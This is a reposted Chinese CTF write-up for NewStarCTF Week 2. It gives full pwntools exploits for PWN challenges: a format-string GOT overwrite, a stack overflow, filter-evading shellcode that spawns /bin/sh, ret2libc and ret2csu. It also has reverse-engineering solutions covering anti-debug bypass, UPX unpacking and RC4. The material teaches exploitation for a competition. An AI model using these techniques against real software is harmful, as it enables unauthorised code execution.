NewStarCTF 2023 Week2 官方WriteUp(转载)

原文链接:WriteUp - NewStar CTF 2024

比赛链接:NewStar CTF 2024

一.PWN

EZ_fmt

查看 vuln 函数

vuln 函数

很经典的格式化字符串,首先确定 offset 为 8

确定偏移

根据程序,我们有三次格式化字符串的机会

  • 第一次泄露 libc
  • 第二次改 printf GOT 表地址为 system
  • 第三次输入为 sh,构造出 printf(buf)=system(sh) 即可

EXP 如下

from pwn import *
from ctypes import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./chal')
flag = 0
if flag:
    p = remote('ip', port)
else:
    p = process("./")


def sa(s, n): return p.sendafter(s, n)
def sla(s, n): return p.sendlineafter(s, n)
def sl(s): return p.sendline(s)
def sd(s): return p.send(s)
def rc(n): return p.recv(n)
def ru(s): return p.recvuntil(s)
def ti(): return p.interactive()


def leak(name, addr): return log.success(name+"--->"+hex(addr))


sla(b': \n', b'%19$p')
ru(b'0x')
libc.address = int(rc(12), 16) - 0x29d90
leak("libc", libc.address)

low = libc.sym['system'] & 0xff
high = (libc.sym['system'] >> 8) & 0xffff
payload = b'%' + str(low).encode() + b'c%12$hhn'
payload += b'%' + str(high - low).encode() + b'c%13$hn'
payload = payload.ljust(0x20, b'a')
payload += p64(elf.got['printf']) + p64(elf.got['printf']+1)


sa(b': \n', payload)

sla(b': \n', b'  sh;')
# gdb.attach(p)
p.interactive()

Inverted World

题目分析

checksec 之后发现未开启 pie,开启了 Canary.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[255]; // [rsp+0h] [rbp-110h] BYREF
  _BYTE v5[17]; // [rsp+FFh] [rbp-11h] BYREF

  *(_QWORD *)&v5[9] = __readfsqword(0x28u);
  init(argc, argv, envp);
  table();
  write(0, "root@AkyOI-VM:~# ", 0x12uLL);
  read(0, v5, 0x512uLL);  // 这里实际是自定义的 _read 函数,实现和 read 函数相反方向的输入
  write(1, buf, 0x100uLL);
  puts(byte_402509);
  puts("??? What's wrong with the terminal?");
  return 0;
}

main 函数的 read 存在栈溢出,但是这个 read 函数是自定义的(源码中命名函数名为 _read 来实现的)。

_read 实现的是和正常 read 相反方向进行输入,我们这里输入的长度 0x512 明显大于 255,可以写到低地址的栈帧的东西,我们劫持位于低地址的 _read 函数的返回地址到 backdoor 中间的部分(因为劫持到开头过不了检测)。

反向输入 sh 即可执行 system("sh") 拿到 shell.

关于 Canary

因为是反向输入的,只要不多写东西就不会修改到 Canary,自然就不用故意绕过 Canary.

EXP

from pwn import*

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

p=remote('???.???.???.???', ?????)

payload=b'a'*0x100
p.sendline(payload+p64(0x040137C)[::-1])
p.sendlineafter("root@AkyOI-VM:~#", "hs")
p.sendline("cat flag")
p.interactive()

Bad Asm

程序过滤 syscall / sysenter / int 0x80 的汇编指令的机器码。

strcpy 限制了 shellcode 的机器码中不能出现 0x00.

开启的可执行的段具有写的权限,用异或搓出来 syscall 的机器码之后用 mov 写入到 shellcode 后面,中间用 nop 连接一下就行了。

由于程序清空了 rsp rbp 寄存器,我们需要恢复一下 rsp 的值,任意一个可读写的段即可,否则 push 操作会寄掉。

可以用异或先把 syscall 的机器码插入到当前 shellcode 的后面来执行 read 的 syscall,利用 read 在旧的 shellcode 后面插入 execve("/bin/sh", 0, 0) 的 shellcode,第二次输入的 payload 中 0x42 个 a 的作用是覆盖掉旧的 shellcode,毕竟执行过了也没用了。

恢复 rsp 的作用是为了能够正常执行 push pop 指令,这里 push pop 指令位于 shellcraft.sh() 生成的 shellcode 中 。否则其生成的 shellcode 无法正常执行。

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = './pwn'
p=remote('???.???.???.???', ?????)

# p=process(ELFpath)
# gdb.attach(p)

shellcode='''
; // 目标: 使用 syscall 执行 read(0, code, 0x3fff)
mov rsp, rdi
mov rax, rdi
add sp, 0x0848 ; // 从开头到这里的作用是给 rsp 一个合法值,使 push/pop 指令能够正常执行。同时设置 rax 的值方便后面往当前 shellcode 末尾拼接上 syscall 指令的机器码。

mov rsi,rdi
mov dx, 0x3fff ; // 这两行作用是设置 rsi rdx 寄存器

mov cx, 0x454f
xor cx, 0x4040 ; // 这两行作用是用异或搓出来 0f 05 (syscall 的机器码)
add al, 0x40
mov [rax], cx  ; // rax原本指向的是当前段的开始位置,加上一个偏移,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面。

xor rdi, rdi
xor rax, rax   ; // 设置 read 的系统调用号 0,设置 rdi 寄存器
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) # \x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。

pause()
p.send(b'a'*0x42+asm(shellcraft.sh())) # 0x42个a正好覆盖了syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode
p.interactive()

除了异或的方法,我们可以用另一种方法布置 syscall 的机器码。

题目检查 syscall 的时候采用的方法是检测相邻两个字节,所以我们可以将两个字节分别用一个汇编指令写入到内存中,比如用 mov,这样我们就可以将其机器码 0xf 0x5 拆开,而不是连续的字节,这样也可以通过检查。

mov byte ptr [r8 + 0x17], 0xf
mov byte ptr [r8 + 0x18], 0x5

最后保证控制执行流执行到写入的 0f05 那里就行了。

下面的 EXP 中直接异或搓了一个 execve("/bin/sh", 0, 0),这样也是可以的。

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = './pwn'
p=remote('???.???.???.???', ?????)

# p=process(ELFpath)
# gdb.attach(p)

shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,正好这个段有读写权限,就直接拿来在 0x848 偏移的位置当作栈顶了(加偏移是为了防止某些操作破坏写入的 shellcode)
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi       ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置

mov ax, 0x454f
xor ax, 0x4040
mov rsi, rdi
add sil, 0x40
mov [rsi], ax  ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面。

mov rdi, rsp   ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx   ; // 设置 rsi, rdx
xor rax, rax
mov al, 59     ; // 设置 execve 的系统调用号
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
p.interactive()

除此之外,由于我们把栈放在可执行段上面了,我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面,最后 jmp rsp 即可。由于这种方法我们并不依赖 nop 指令进行连接,在送 Payload 的时候可以去掉 ljust 了。

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = './pwn'
p=remote('???.???.???.???', ?????)

# p=process(ELFpath)
# gdb.attach(p)

shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi       ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置

mov rdi, rsp   ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx   ; // 设置 rsi, rdx
xor rax, rax
mov al, 59     ; //设置 execve 的系统调用号

mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx       ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''

p.sendafter("Input your Code :", asm(shellcode))

p.interactive()

在把 /bin/sh\x00 push 到栈上面的时候,我们为了清除最后的 0x00,采用了异或的方法。除了这种方法外我们可以调整一下这个字符串,比如我们可以改为使用 /bin///shshellcraft.sh() 生成的 shellcode 采用的就是这种方法。

按照这种方法更改的 shellcode,也是可以拿到 shell 的。

shellcode='''
; // 目标: 执行 execve("/bin///sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给rsp一个合法值,使程序能正常执行push/pop

push 0x68
mov rax, 0x732f2f2f6e69622f
push rax       ; // 将 '/bin///sh' push 到栈上面,最后一个字符 h 是第 6 行 push 的,高位默认填充为 0,此时就不用异或了

mov rdi, rsp   ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx   ; // 设置 rsi, rdx
xor rax, rax
mov al, 59     ; // 设置 execve 的系统调用号

mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx       ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''

ez_game

func 函数

明显的栈溢出且没有后门函数

再 checksec 一下,没有开启 pie

checksec 的结果

直接打 ret2libc(但是得进行栈对齐)

  1. 先通过 puts 泄露出 puts 地址,通过 puts 地址与 libc 基地址的偏移得到 libc 基地址,并返回 main 函数进行第二次溢出,实现 getshell
  2. 构建 system("/bin/sh") 取 shell

提示

可以用 ret 地址进行栈对齐

EXP:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

ifremote = 0
if ifremote == 1:
    io = remote('0.0.0.0', 9999)
else:
    io = process('./attachment')

elf = ELF('./attachment')
# libc=ELF("./libc-2.31.so")
libc = elf.libc

# gdb.attach(io)
# pause()

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
ret_addr = 0x0000000000400509

payload = b'a'*0x58+p64(0x0000000000400783)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b'Welcome to NewStarCTF!!!!\n')
io.sendline(payload)
io.recvuntil(b'\x0a')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts_addr======================>", hex(puts_addr))

libc_base = puts_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+0x1b45bd

payload = b'a'*0x58+p64(0x0000000000400783)+p64(bin_sh_addr)+p64(ret_addr)+p64(system_addr)
io.recvuntil(b'Welcome to NewStarCTF!!!!\n')
io.send(payload)

io.interactive()

My_GBC!!!!!

先将程序拖入 IDA 分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  initial(argc, argv, envp);
  write(1, "It's an encrypt machine.\nInput something: ", 0x2CuLL);
  len = read(0, buf, 0x500uLL);
  write(1, "Original: ", 0xBuLL);
  write(1, buf, len);
  write(1, "\n", 1uLL);
  encrypt(buf, (unsigned __int8)key, (unsigned int)len);
  write(1, "Encrypted: ", 0xCuLL);
  write(1, buf, len);
  write(1, "\n", 1uLL);
  return 0;
}

发现存在一个简单的栈溢出,并且输入的数据经过了某种加密处理,异或后左移

__int64 __fastcall encrypt(__int64 a1, char a2, int a3)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (int)i >= a3 )
      break;
    *(_BYTE *)((int)i + a1) ^= a2;
    *(_BYTE *)(a1 + (int)i) = __ROL1__(*(_BYTE *)((int)i + a1), 3);
  }
  return result;
}

运行程序后发现,栈溢出时,rdx 寄存器值为 1,而程序中能利用的函数 read write 的三参都是长度,这对我们利用十分不利,因此我们选择 ret2csu

ret2csu

这是 csu 的代码片段,第一段代码能将 r12 r13 r14 分别 mov 到 rdi rsi rdx,这样我们便能控制 rdx,即控制函数的三参,并且后面还有 call [r15+rbx*8],能控制程序的走向;第二段代码则是一长串的 pop,配合上述代码,即可达到 ROP,控制程序流程

需要注意的是,call 后面有 add rbx, 1; cmp rbp, rbx; jnz ...,我们需要控制 rbx = 0 rbp = 1

对于加密函数,异或和左移都是可逆运算,我们只需对我们输入的内容先右移后异或 0x5A 即可

#!/usr/bin/env python3
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
def uu64(x): return u64(x.ljust(8, b'\x00'))
def s(x): return p.send(x)
def sa(x, y): return p.sendafter(x, y)
def sl(x): return p.sendline(x)
def sla(x, y): return p.sendlineafter(x, y)
def r(x): return p.recv(x)
def ru(x): return p.recvuntil(x)


k = 1
if k:
    addr = ''
    host = addr.split(':')
    p = remote(host[0], host[1])
else:
    p = process('./My_GBC!!!!!')
elf = ELF('./My_GBC!!!!!')
libc = ELF('./libc.so.6')


def debug():
    gdb.attach(p, 'b *0x401399\nc\n')


def ror(val, n):
    return ((val >> n) | (val << (8 - n))) & 0xFF


def decrypt(data: bytes, key: int):
    decrypted_data = bytearray()
    for byte in data:
        byte = ror(byte, 3)
        byte ^= key
        decrypted_data.append(byte)
    return decrypted_data


def csu_1(arg1, arg2, arg3, func=0, rbx=0, rbp=1):
    r12 = arg1
    r13 = arg2
    r14 = arg3
    r15 = func
    payload = p64(0x4013AA)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    return payload


def csu_2():
    payload = p64(0x401390)
    return payload


add_rsp_8_ret = 0x401016
ret = 0x40101a
payload = b'a' * 0x18 + csu_1(1, elf.got.read, 0x100, elf.got.write) + csu_2()
payload += csu_1(0, 0x404090, 0x50, elf.got.read) + csu_2()
payload += csu_1(0, 0, 0, 0x404098) + csu_2() + p64(ret)
payload += csu_1(0x4040A0, 0, 0, 0x404090) + csu_2()
# debug()
ru(b'Input something:')
s(decrypt(payload, 90))

libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.read
success(f"libc_base --> 0x{libc_base:x}")

payload = p64(libc_base + libc.sym.system + 0x0) + p64(add_rsp_8_ret) + b'/bin/sh\x00'
s(payload)

p.interactive()

二.Rverse

Pangbai 泰拉记(1)

函数表给了,方便做题

主函数是一个很简单的 flag 异或一个 key,但是在主函数前,有个前置函数,会对 key 进行修改

主函数

找到前置函数,可以对 key 按 X 进行交叉引用,或者直接在函数表表里找有个 main0

前置函数

前置函数里写了两个很经典的反调试

反调试相关代码

逻辑是:当检测到你调试的时候,你的 key 会被异或替换成错误的 key,但是如果你正常运行,key 会被替换异或成正确的 key

  • 解法 1:直接把反调试函数 nop 掉,不太推荐,对汇编不太熟悉的话会报错

  • 解法 2:改跳转(推荐解法)

    改跳转法

    断到这里的时候,改 jz 为 jnz 或者,改 ZF 寄存器,就可以跳到正确的 key,得到正确的 flag

  • 解法 3:装自动绕过反调试插件,小幽灵

    插件法

    得到正确的 flag 和 key,如果还没学到调试的话,其实看逻辑应该也可能解出这题

Ezencypt

打开 MainActivity 查看 Onclick 逻辑,Enc enc = new Enc(tx),加密逻辑在 Enc

定位到 Enc

Enc 的构造函数里进行了第一次加密,代码可以看出是 ECB 模式的 AES,密钥是 MainActivity 的 title.

doEncCheck 函数进行加密数据检查,有 native 标签说明函数是 C 语言编写的,主体在 so 文件。

IDA 打开 so 文件,找到 doEncCheck 的实现

找到 doEncCheck 的实现

发现数据经过 enc 函数的加密,再在循环里检验

native 层 enc 函数

enc 里一个异或加密,一个 RC4,key是 xork

思路全部清楚了,写解密脚本:

#include "stdio.h"
#include "string.h"

char xork[] = "meow";
#define size 256

unsigned char sbox[257] = {0};

// 初始化 s 盒
void init_sbox(char *key) {
    unsigned int i, j, k;
    int tmp;

    for (i = 0; i < size; i++) {
        sbox[i] = i;
    }

    j = k = 0;
    for (i = 0; i < size; i++) {
        tmp = sbox[i];
        j = (j + tmp + key[k]) % size;
        sbox[i] = sbox[j];
        sbox[j] = tmp;
        if (++k >= strlen((char *)key)) k = 0;
    }
}

// 加解密函数
void encc(char *key, char *data) {
    int i, j, k, R, tmp;

    init_sbox(key);

    j = k = 0;
    for (i = 0; i < strlen((char *)data); i++) {
        j = (j + 1) % size;
        k = (k + sbox[j]) % size;

        tmp = sbox[j];
        sbox[j] = sbox[k];
        sbox[k] = tmp;

        R = sbox[(sbox[j] + sbox[k]) % size];

        data[i] ^= R;
    }
}

void enc(char *in) {
    int len = strlen(in);
    for (int i = 0; i < len; ++i) {
        in[i] ^= xork[i % 4];
    }
    encc(xork, in);
}

int main() {
    unsigned char mm[] = {0xc2, 0x6c, 0x73, 0xf4, 0x3a, 0x45, 0x0e, 0xba, 0x47, 0x81, 0x2a,
                          0x26, 0xf6, 0x79, 0x60, 0x78, 0xb3, 0x64, 0x6d, 0xdc, 0xc9, 0x04,
                          0x32, 0x3b, 0x9f, 0x32, 0x95, 0x60, 0xee, 0x82, 0x97, 0xe7, 0xca,
                          0x3d, 0xaa, 0x95, 0x76, 0xc5, 0x9b, 0x1d, 0x89, 0xdb, 0x98, 0x5d};
    enc(mm);
    for (size_t i = 0; i < 44; i++) {
        putchar(mm[i]);
    }
    puts("");
}

将 so 层解密后的数据(输出)用 CyberChef 进行 Base64 和 AES 解密就行了:Recipe.

CyberChef

UPX

脱壳

使用 IDA 查看文件,发现主函数很复杂。

很复杂的主函数

这时根据文件的名称和提示,和 UPX 相关联。直接搜索 UPX,可以得知它是可执行程序文件压缩器,是一种压缩壳。在程序启动时先执行 UPX 的代码,把压缩后的原文件解压后,再把控制流转到原文件。然后这里可以使用 DIE 进行查看,特征也显示为 UPX.

DIE 的查看结果

因此可以采用工具尝试能不能直接脱壳,或者使用手动脱壳的办法进行脱壳。

因为这里没有进行更改,所以可以直接使用工具 Releases · upx/upx · GitHub 进行脱壳,然后发现文件的体积变大了。

UPX 命令行程序脱壳的结果

再次使用 IDA 打开脱壳后的程序,发现主函数逻辑很清晰,反汇编的结果也很明确了。

脱壳后的 IDA View

脱壳后的反编译结果

分析

查看这里的 main 函数,发现提示很明确。这里首先通过 __isoc99_scanf 输入内容,利用 %22s 和后续 for 循环中的比较,也提示输入的 flag 长度是 22 字节。然后后面输入 s 和 key 经过了 RC4 的函数,然后把输入 s 和 data 进行比较。

直接搜索 RC4,查阅相关文章,可以得知它是一种流加密算法,它通过字节流的方式依次加密明文中的每一个字节,解密的时候也是依次对密文中的每一个字节进行解密。这里直接点击 RC4 函数,查看其内部是怎么实现的。

在下面可以看到 RC4 函数的实现,它实现调用 init_sbox 函数对于 a2,也就是上面从 main 函数传入的 key 进行一系列处理,然后获取 a1,也就是从 main 函数传入的输入 s,然后在 for 循环中,循环遍历 a1 的每一位,然后使用一个异或进行处理。

RC4 函数的实现

因此我们可以理清楚这个程序的逻辑,我们首先进行了输入,然后程序将我们的输入和内置的密钥及进行 RC4 加密,然后将加密的结果和内置的数据进行比较,如果一样的话,说明我们的输入是正确的。

因此分别点击 main 函数中的 key 和 data 变量,找到了内置的密钥和比对密文,之后就可以写脚本获取 flag 了。

点击 key 一直进行寻找发现了密钥 NewStar.

key 变量

点击 data 发现这里没有值。

没有值的 data 变量

然后对 data 按 x 进行交叉引用,发现存在另外的函数也用到了 data 这个数据。

data 的交叉引用

直接点击这个使用 data 数据的函数 before_main 中,可以发现这里对 data 进行了赋值操作。

before_main 函数里的赋值操作

这里再次交叉引用 before_main 函数,可以发现它在 .init_array 段被调用。这个段里存放着的是在 main 函数执行前执行的代码,可以搜索相关资料进一步掌握。这里只需要知道它是在 main 函数之前被调用的,那么它就是最后进行比对的密文,我们直接拿出来就行。

.init_array 段

方法一

既然已经获取了密文和密钥,那么我们完全可以套用 RC4 的算法来解密。因为 RC4 是流密码,它的本质就是异或,而 a ^ b = cc ^ b = a,由此可以直接把内置的密文作为输入,然后使用算法进行解密。

C

#include <stdio.h>
#include <string.h>

unsigned char sbox[256] = {0};
const unsigned char* key = (const unsigned char*)"NewStar";
unsigned char data[22] = {-60, 96,  -81, -71, -29, -1,  46,  -101, -11,  16,  86,
                          81,  110, -18, 95,  125, 125, 110, 43,   -100, 117, -75};

void swap(unsigned char* a, unsigned char* b) {
    unsigned char tmp = *a;
    *a = *b;
    *b = tmp;
}

void init_sbox(const unsigned char key[]) {
    for (unsigned int i = 0; i < 256; i++) sbox[i] = i;
    unsigned int keyLen = strlen((const char*)key);
    unsigned char Ttable[256] = {0};
    for (int i = 0; i < 256; i++) Ttable[i] = key[i % keyLen];
    for (int j = 0, i = 0; i < 256; i++) {
        j = (j + sbox[i] + Ttable[i]) % 256;
        swap(&sbox[i], &sbox[j]);
    }
}

void RC4(unsigned char* data, unsigned int dataLen, const unsigned char key[]) {
    unsigned char k, i = 0, j = 0, t;
    init_sbox(key);
    for (unsigned int h = 0; h < dataLen; h++) {
        i = (i + 1) % 256;
        j = (j + sbox[i]) % 256;
        swap(&sbox[i], &sbox[j]);
        t = (sbox[i] + sbox[j]) % 256;
        k = sbox[t];
        data[h] ^= k;
    }
}

int main(void) {
    unsigned int dataLen = sizeof(data) / sizeof(data[0]);
    RC4(data, dataLen, key);
    for (unsigned int i = 0; i < dataLen; i++) {
        printf("%c", data[i]);
    }
    return 0;
}

方法二

上面是写代码进行解密,还可以直接在动调中把输入替换为密文,也可以进行解密。

首先在输入后和比对时按 F2 下断点。

下断点

然后进行动调,首先随便输入数据,然后程序在断点处停下(这里颜色改变了,说明断在这里了),输入 s 也显示我们输入的数据。

我们的输入

ida中看到的s内的值

然后先点击 data,找到 data 数据。然后使用 sheift + e 直接取出 data 的相关数据。

data数据

然后可以先找到输入 s 的起始地址(0x56201B813040 需要你自己动调时的地址),然后使用 shift + F2 调出 IDAPython脚本窗口,然后使用 python 脚本进行修改,最后点击 Run 进行执行。然后可以发现左侧的输入 s 数据改变了。

修改s的数据

from ida_bytes import *
# addr = 0x56201B813040  # 这里需要填写自己动调时得到的地址
enc = [0xC4, 0x60, 0xAF, 0xB9, 0xE3, 0xFF, 0x2E, 0x9B, 0xF5, 0x10,
       0x56, 0x51, 0x6E, 0xEE, 0x5F, 0x7D, 0x7D, 0x6E, 0x2B, 0x9C,
       0x75, 0xB5]
for i in range(22):
    patch_byte(addr + i, enc[i])
print('Done')

或者可以手动 右键 » Patching » Change byte 进行修改。

手动修改s的数据1

手动修改s的数据2

修改完之后,使用快捷键 F9 让程序直接运行,然后它会断在我们之前下的第二个断点处。

断在第二个断点处

这时再看我们的输入 s,会发现它经过 RC4 的再次加密(其实是解密,因为 RC4 是流密码,加密解密的流程一摸一样),呈现出来了 flag.

解密后的flag

这里按 a 就可以转化为字符串的形式,这个就是最后的 flag 了。

flag

方法三

上面可以知道 RC4 流密码的最后一步就是异或了,那么我们可以在动调的过程中,把这个异或的值拿出来,然后直接把密文和这个异或的数据进行异或即可。

这里先找到 RC4 的加密函数处,在这个最后一步的异或处按 Tab 转化为汇编窗格形式。

RC4的加密函数

然后在这个汇编的异或处下断点。下面展示了两种汇编代码的视图方式,可以按空格进行相互转换。

汇编的视图方式1

汇编的视图方式2

这里不知道两个参数 al 和 [rbp+var_9] 分别代表什么,因此我们可以先直接动调,断在这里的时候再去看看数值。这里动调需要注意,因为 RC4 根据输入的字符个数进行逐个加密的,所以我们需要输入和密文长度相等的字符长度,也就是 22 个字符才可以获得完整的异或值。

这里发现 al 存储的就是我们的输入数据(我这里输入 22 个字符 a,它的十六进制就是 0x61),然后由此可以知道 [rbp+var_9] 存储的就是需要异或的值。因为它经过了22次循环,所以每次异或的值都可能不一样,但是都只在一个函数中,rbp 的值应该不变,所以可以直接使用条件断点的方式,把 [rbp+var_9] 中的值取出来,或者也可以在下面的 mov [rdx], al 中下条件断点,把异或后的 al 值提取出来

动调查看 al

对于在 [rbp+var_9] 下条件断点,首先寻找这个数据的地址。点击进去可以发现数据存储在栈上,当前的数据为 0xA2.

[rbp+var_9] 的内容

然后回来,在断点处 右键 » Edit breakpoint,然后点击三个点就可调出 IDAPython 的窗口,然后我这里使用 Python 脚本,所以在下面选择语言为 Python.

调出 IDAPython 窗口 1

调出 IDAPython 窗口 2

然后在 Script 中写入 IDAPython 脚本,点击左右两边的 OK 即可。

IDAPython 脚本

import ida_bytes
# addr = 0x7FFE7DB58887 # 这里也是一样,需要自己动调找相应的地址
print(get_byte(addr), end=',')

(可以忽略的一步)最后在下面 retn 中下断点,防止 for 循环结束后直接退出,这一步没有太大的必要,只是方便后续的数据查看。

retn 下断点

然后最为关键的就是在下面 Output 栏中打印的数据了,可以看到打印出了每次异或的值,但是因为断点的时候第一数据已经运行到了,所以没有第一个数据,但是我们之前查看 [rbp+var_9] 的时候观察到了,所以自己把这个 0xA2 给加上即可。

异或的值

然后直接把之前获得的密文和这个数据进行异或即可。

xor_data = [0xa2, 12, 206, 222, 152, 187, 65, 196, 140,
            127, 35, 14, 5, 128, 48, 10, 34, 59, 123, 196, 74, 200]
enc = [0xC4, 0x60, 0xAF, 0xB9, 0xE3, 0xFF, 0x2E, 0x9B, 0xF5, 0x10,
       0x56, 0x51, 0x6E, 0xEE, 0x5F, 0x7D, 0x7D, 0x6E, 0x2B, 0x9C,
       0x75, 0xB5]
for i in range(len(enc)):
    enc[i] ^= xor_data[i]
print(''.join(chr(e) for e in enc))

这里我们还可以在下一条语句 mov [rdx], al 中下条件断点

下条件断点

import idc
al = idc.get_reg_value("rax")
print(al, end=',')

然后得到了假数据经过异或后的数据,然后我们可以利用异或的特性获得 flag.

input_data = 'aaaaaaaaaaaaaaaaaaaaaa'
after_xor = [195, 109, 175, 191, 249, 218, 32, 165, 237, 30,
             66, 111, 100, 225, 81, 107, 67, 90, 26, 165, 43, 169]
enc = [0xC4, 0x60, 0xAF, 0xB9, 0xE3, 0xFF, 0x2E, 0x9B, 0xF5, 0x10,
       0x56, 0x51, 0x6E, 0xEE, 0x5F, 0x7D, 0x7D, 0x6E, 0x2B, 0x9C,
       0x75, 0xB5]
for i in range(len(enc)):
    enc[i] ^= after_xor[i] ^ ord(input_data[i])
print(''.join(chr(e) for e in enc))

方法四

这里观察主函数,发现存在 exit 函数,它的功能就是关闭所有文件,终止正在执行的进程,中间的status 参数就是退出码,可以通过 echo $? 来进行获取。

exit 函数相关代码

然后观察 status 就是循环的下标,因此可以知道它是单字节判断的,若是某个字节判断错了就直接退出,同时返回第几个字节判断错了。由此根据退出码,我们可以直接进行爆破处理。

这里就是进行爆破的代码,tqdm 只是为了直观显示,可以删去相关代码。

from pwn import *
from tqdm import tqdm
context(arch='amd64', os='linux', log_level="error")

str = string.printable
flag = b"a"*22
tmp = 0

for i in tqdm(range(len(flag))):
    for j in str.encode():
        p = process("./upx")
        new_flag = flag[:i] + chr(j).encode() + flag[i+1:]
        p.sendafter(b"input your flag:\n", new_flag)
        p.wait()
        exit_code = p.poll()
        p.close()
        # 判断退出码是否变化,最后 flag 正确是退出码为 0(return 0),所以需要另外处理
        if exit_code > tmp or (exit_code == 0 and tmp != 0):
            flag = new_flag
            tmp = exit_code
            break
print(f"[*] Successfully get the flag : {flag}")

然后爆破一分钟左右就跑出结果了。

爆破结果

Ptrace

首先查看 father 文件,可以看到使用了 fork 创建了子进程,这里返回的 pid 就是 v11v11 > 0 为父进程,v11 = 0 为子进程。

这里可以看到子进程,也就是 else 中使用了 execl,它提供了一个在进程中启动另一个程序执行的方法,在这里就是启动了当前目录下的 son 文件,然后传递输入的数值 s 作为新进程的参数,同时这里新进程会替换掉之前的子进程,使自身作为父进程的子进程存在。

father 文件的逻辑

然后查看替换的子进程的内容,打开 son 文件。找到主函数,发现它这里就是把 s 进行移位操作,然后比对内置的数据 byte_60004020

这里的 s = *(char **)(a2 + 4),它就是指向上面 father 传入的 s. 上面 execl 执行的命令为 ./son s,而对于 son 文件的主函数而言,第一个参数是 a1 表示执行命令参数的个数,这里就是 2,而后面的 a2 真实类型为 const char **argv,它指向的就是命令的各个参数,因此这里的 a2 + 4 执行的就是第二个参数,也就是 s.

son 文件的逻辑 1

son 文件的逻辑 2

因此目前可以得知它这里的逻辑就是通过 father 来打开 son,通过执行 son 中的每个字节循环移位来进行变化,最后与密文进行比较得到结果。

然后继续关注 father 中的 ptraceptrace 是用于进程跟踪的,它提供了父进程可以观察和控制其子进程执行的能力,并允许父进程检查和替换子进程的内核镜像(包括寄存器)的值。而这里查看子进程,可以发现使用ptrace(PTRACE_TRACEME, 0, 0, 0);,它就是允许父进程对自身进行调试的语句,然后在父进程中,使用 PTRACE_POKEDATA 对数据进行修改,然后使用 PTRACE_CONT 让子进程继续执行。因此我们关注的就是父进程对于子进程的什么数据进行了修改。

查看语句 ptrace(PTRACE_POKEDATA, addr, addr, 3);,它就是对于 addr 所指向的地址修行了数据修改,更改为了 3,由此点进去发现 addr 指向的就是 0x60004040 位置的数据 。

然后回想起之前 son 文件的内容,找到了相似的地址。由此可以判断这里修改的就是偏移的数值,把这里的 4 在运行的时候改为了 3

son 文件的逻辑 3

因此得到了整个程序逻辑,在运行时,父进程会更改子进程中偏移量,然后数据的判断就是通过子进程来进行的,所以这里只需要把子进程中的密文按照偏移 3 进行逆变换即可。

enc = [204, 141,  44, 236, 111, 136, 237, 235,  47, 237,
       174, 235,  78, 172,  44, 141, 141,  47, 235, 109,
       205, 237, 238, 235,  14, 142,  78,  44, 108, 172,
       231, 175]
for i in range(len(enc)):
    enc[i] = (enc[i] << 3 | enc[i] >> 5) & 0xff
print(''.join([chr(e) for e in enc]))

drink_tea

